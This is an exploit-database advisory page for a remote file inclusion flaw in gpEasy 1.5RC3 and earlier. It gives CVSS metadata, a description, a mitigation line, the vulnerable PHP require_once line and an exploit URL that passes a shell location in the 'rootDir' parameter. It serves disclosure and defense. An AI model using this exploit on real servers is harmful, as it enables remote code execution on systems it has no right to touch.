gpEasy - exploit.company

vendor:

gpEasy

by:

cr4wl3r

9.3

CVSS

HIGH

Remote File Include

CWE

Product Name: gpEasy

Affected Version From: gpEasy <= 1.5RC3

Affected Version To: gpEasy <= 1.5RC3

Patch Exists: No

Related CWE: N/A

CPE: a:gpeasy:gpeasy

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: GNU/LINUX

2009

gpEasy <= 1.5RC3 Remote FIle Include Exploit

This vulnerability allows an attacker to include a remote file on the vulnerable server. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'rootDir' parameter of the 'admin_password.php' script. A remote attacker can exploit this vulnerability to include arbitrary files from remote hosts and execute arbitrary code on the vulnerable system.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in the application.

Source

Exploit-DB raw data:

##################################################################
## Exploit Title: gpEasy <= 1.5RC3 Remote FIle Include Exploit  ##
## Date: 18-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://sourceforge.net/projects/gpeasy/files/ ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################

~ Code [admin_password.php] :

require_once($GLOBALS['rootDir'].'/include/admin/admin_users.php');

~ 3xplo!t :

 [F3Site2009_path]/include/admin/admin_password.php?rootDir=[Shell]